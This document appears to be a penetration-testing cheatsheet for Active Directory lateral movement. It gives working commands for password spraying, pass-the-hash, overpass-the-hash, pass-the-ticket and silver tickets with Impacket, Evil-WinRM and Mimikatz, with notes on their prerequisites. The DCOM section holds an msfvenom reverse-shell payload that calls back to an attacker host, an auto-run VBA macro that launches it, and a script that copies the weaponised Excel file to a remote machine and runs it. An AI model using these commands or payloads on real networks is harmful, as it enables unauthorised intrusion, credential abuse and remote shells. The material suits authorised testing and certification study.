AD Lateral Movement

Kerberos attack cheatsheet.

ZeroLogon Vulnerability

Conditional legacy DC vulnerability: verify configuration and recovery first

CVE-2020-1472 concerns vulnerable Netlogon behavior on affected, unpatched domain controllers. DC role, patch/enforcement state and configuration matter; a Windows Server banner is not sufficient evidence.

Resetting a DC machine-account password can break domain operations. Use a complete, reviewed attack and restoration plan before considering that mutation. The upstream exploit and restoration guidance explains the account/database consistency issue; a reset snippet followed by a dump is not a recovery procedure. For already granted domain replication rights, use DCSync without a DC password reset.

Password Spraying

Use one selected candidate password and known usernames only after checking applicable domain/fine-grained lockout policies, recent failures and account restrictions. A default domain policy alone does not establish a safe attempt budget.

nxc smb HOST -d DOMAIN -u /PATH/users.txt -p 'PASSWORD' -t 1 --continue-on-success

This tests one password across the selected users on one host. One worker limits concurrency, not accumulated failures across DCs, hosts or previous runs. Stop on lockout or transport errors; do not cycle additional passwords as routine enumeration. Accepted SMB credentials still need operation-specific permissions checked. NetExec spraying options.

RDP separately needs permitted remote-interactive logon and compatible endpoint/client configuration. A valid password is not sufficient. Use remote-access validation before RDP-specific guessing.

Plaintext Credentials

For an already reachable WinRM service, use the recovered identity without changing target configuration:

evil-winrm -i TARGET -u 'DOMAIN\USER'

Enter the known password at the prompt. Requires WinRM access rights (for example an applicable Remote Management Users or Administrators membership), not just a successful SMB login. In the shell, run hostname and whoami /all to establish the host and token. A WinRM authorization denial is not automatically a bad password. Evil-WinRM usage.

The existing WinRM endpoint uses HTTPS

evil-winrm -i TARGET -u 'DOMAIN\USER' -S -P 5986

Use the actual configured TLS port; do not enable another endpoint merely to match an example.

Other existing RDP and WinRS clients

Use an existing reachable endpoint and an account authorized for that service. A Windows WinRS client also needs the appropriate authentication/trust configuration; do not enable unencrypted traffic or trust every host as a default workaround.

# RDP clients
$ rdesktop [target] -d [domain] -u [user] -p [password]
$ remmina -c rdp://[username]:[password]@[target]

winrs -r:HOST -u:DOMAIN\USER -p:PASSWORD "cmd /c hostname & whoami"

# Admin groups but with a "MANDATORY LABEL\MEDIUM" context?
# Try UAC bypass technique.
# See https://github.com/brianlam38/OSCP-2022/blob/main/cheatsheet-main.md#user-account-control-uac-bypass

Service Account Attacks

An SPN identifies a service/account relationship; it does not grant access by itself. For offline recovery from a requested service ticket use the selected-account Kerberoasting commands. Request/export and offline cracking are separate operations; ticket collection does not crack a password on the target.

For an acquired ticket use pass-the-ticket. With an obtained service key and compatible target validation, use silver tickets. Retain the exact principal and SPN with the material.

Pass the Hash

Requires the account's NT hash and a destination/protocol that accepts that identity using NTLM. A Net-NTLMv2 response is not a reusable NT hash. Required rights depend on the operation.

For WMI/DCOM execution, establish administrative WMI/DCOM access, RPC endpoint/dynamic connectivity and SMB access for this client's output retrieval:

impacket-wmiexec -hashes :HASH 'DOMAIN/USER@HOST'

Verify host and token with hostname and whoami /all. Accepted credentials do not prove command execution. Impacket examples.

Service-based SMB execution

impacket-psexec -hashes :HASH 'DOMAIN/USER@HOST'

Requires permission to create/start a service and write the selected share/payload location, normally administrative access. This creates a service and has different effects from WMI execution.

The account is authorized for the existing WinRM endpoint

evil-winrm -i HOST -u 'DOMAIN\USER' -H HASH

Requires WinRM permissions and connectivity. It does not require Admin$ merely because an SMB execution method does.

For RDP hash authentication, use the Restricted Admin procedure. Do not change registry settings solely because a client reports an account restriction.

Overpass the Hash

Use an obtained account key to request a TGT, then use Kerberos for a permitted destination operation. From Kali, requesting a TGT does not inherently require administrator on a member host:

impacket-getTGT -hashes :HASH -dc-ip DC_IP 'DOMAIN/USER'
export KRB5CCNAME="$PWD/USER.ccache"
klist
impacket-smbclient -k -no-pass 'DOMAIN/USER@HOST'

Requires compatible account encryption, KDC connectivity, DNS/SPN selection and domain time. HOST is the destination FQDN. An NT hash supports RC4-based requests only where that encryption is accepted. A reusable cache is not inherently bound to its originating machine; lifetime, identity and destination authorization still apply.

Request the TGT with the account's obtained AES key

impacket-getTGT -aesKey AES_KEY -dc-ip DC_IP 'DOMAIN/USER'
export KRB5CCNAME="$PWD/USER.ccache"
klist
impacket-smbclient -k -no-pass 'DOMAIN/USER@HOST'

Use the actual account AES key of the correct length; an NT hash is not an AES key. getTGT options.

Windows process-context transition using Mimikatz

In a selected context with the required local process/LSASS access, enter this inside Mimikatz:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:cmd.exe

In the resulting command prompt:

klist
net use \\HOST\IPC$
klist

The operation must actually negotiate Kerberos to produce the expected tickets; inspect the cache and operation result. Local injection privileges are separate from remote authorization. whoami alone describes the local token, not necessarily the outbound identity.

Pass the Ticket

Use an acquired ticket for its actual principal and scope. A TGT supports service-ticket requests; a TGS is scoped to its service/SPN. Import alone does not confer Domain Admin, local elevation or remote service-creation rights.

For an obtained credential cache on Kali:

export KRB5CCNAME=/PATH/USER.ccache
klist
impacket-smbclient -k -no-pass 'DOMAIN/USER@HOST'

Use a destination FQDN/SPN covered by the material and inspect a permitted operation. A cache listing is not evidence of destination access.

The obtained ticket is a .kirbi file

impacket-ticketConverter /PATH/ticket.kirbi /PATH/USER.ccache
export KRB5CCNAME=/PATH/USER.ccache
klist
impacket-smbclient -k -no-pass 'DOMAIN/USER@HOST'

Conversion changes the container, not the principal, service, encryption or expiration.

Import into a selected Windows logon context

Enter this inside a reviewed Mimikatz build:

kerberos::ptt C:\PATH\ticket.kirbi

In the corresponding Windows session:

klist
net use \\HOST\SHARE

This tests the selected SMB share. Injecting into another session needs the matching access; importing a ticket does not prove PsExec is authorized. Requesting a new TGT with a key belongs to overpass-the-hash.

After verifying rights, use the execution methods. For failures, use the ticket diagnostic router.

Silver Ticket

Requires the key of the account serving the exact SPN, the domain SID without a user RID, an existing principal's correct USER_RID, selected GROUP_RIDS (a comma-separated RID list), and compatible service/PAC validation. A service account's full SID is not the domain SID. Neither RID 1103 nor a tool's privileged defaults is universal.

For a selected CIFS service, SERVICE_HASH must be the key of the account serving cifs/HOST, usually that host's computer account:

impacket-ticketer -nthash SERVICE_HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn cifs/HOST -user-id USER_RID -groups GROUP_RIDS USER
export KRB5CCNAME="$PWD/USER.ccache"
klist
impacket-smbclient -k -no-pass 'DOMAIN/USER@HOST'

Use the destination FQDN and matching key. A permitted SMB operation establishes that operation's access; this ticket does not automatically work for HTTP, SQL or every host sharing an account. Current PAC checks, required signatures, encryption and account state can reject it. Ticket options.

The selected service account's key is AES

impacket-ticketer -aesKey AES_KEY -domain-sid DOMAIN_SID -domain DOMAIN -spn cifs/HOST -user-id USER_RID -groups GROUP_RIDS USER
export KRB5CCNAME="$PWD/USER.ccache"
klist
impacket-smbclient -k -no-pass 'DOMAIN/USER@HOST'

This key belongs to the account serving the SPN, not necessarily KRBTGT.

Generate/import a selected CIFS ticket from Windows

Inside a reviewed Mimikatz build:

kerberos::golden /user:USER /domain:DOMAIN /sid:DOMAIN_SID /target:HOST /service:cifs /rc4:SERVICE_HASH /id:USER_RID /groups:GROUP_RIDS /ptt

In the corresponding Windows session:

klist
net use \\HOST\SHARE

This is service-scoped despite the command's name. It does not turn the local token into SYSTEM or eliminate target validation.

Distributed Component Object Model (DCOM)

DCOM allows a computer to run programs over the network on a different computer e.g. Excel/PowerPoint/Outlook
Requires RPC port 135 and local admin access to call the DCOM Service Control Manager - the API.
The run method within DCOM allows us to execute a VBA macro remotely.

DCOM - create payload and VBA macro

From Kali, create rshell payload:

$ msfvenom -p windows/shell_reverse_tcp LHOST=[kali] LPORT=4444 -f hta-psh -o evil.hta

(Python3) split payload into smaller chunks starting with "powershell.exe -nop -w hidden -e"

str = "powershell.exe -nop -w hidden -e {base64_encoded_payload}"
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')

# create VBA macro -> insert into Excel file
Sub AutoOpen()
    exploit
End Sub
Sub Document_Open()
    exploit
End Sub
Sub exploit()
        Dim str As String
        {insert_payload_here}
        # OPTION 1
        # Shell (Str)                    
        # OPTION 2
        CreateObject("Wscript.Shell").Run str
End Sub

# check if document contains valid exploit macro
$ mraptor [exploit.doc]

Source attachment

DCOM - Copy file to remote and execute

# create instance of Excel.Application object
$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "HOST"))

# copy Excel file containing VBA payload to target
$LocalPath = "C:\PATH\badexcel.xls"
$RemotePath = "\\HOST\c$\badexcel.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)

# open Excel file and execute macro
$Workbook = $com.Workbooks.Open("C:\badexcel.xls")
$com.Run("badexcel.xls!exploit")

This Office-specific variant requires the selected COM component, remote activation rights, an accessible Office execution context, SMB write access and a permitted macro. It is not a universal DCOM primitive and does not establish SYSTEM access. Do not create system-profile directories as routine setup. For the general execution method, use the DCOM procedure.

Prepare tools used on this page

Run setup on Kali after preparing the shared workspace. Skip a clone when its checkout already exists; review/update it deliberately rather than cloning over it. Operational commands remain in the sections above.

Prepare ZeroLogon PoC (source example)

Source/reference collection, not a general tool installation. Obtain only when the owning technique is applicable. Read the selected PoC requirements and build/runtime instructions; no exploit is executed by this checkout. Upstream.

git clone --depth 1 https://github.com/dirkjanm/CVE-2020-1472.git "$HOME/oscp/tools/repos/CVE-2020-1472"

Check on Kali:

git -C "$HOME/oscp/tools/repos/CVE-2020-1472" rev-parse --short HEAD

Prepare oletools: MacroRaptor

MacroRaptor runs locally on Kali to inspect a selected Office document. It does not execute the document or prove that a target will run its macros. Upstream.

sudo apt install oletools

Check on Kali:

mraptor -h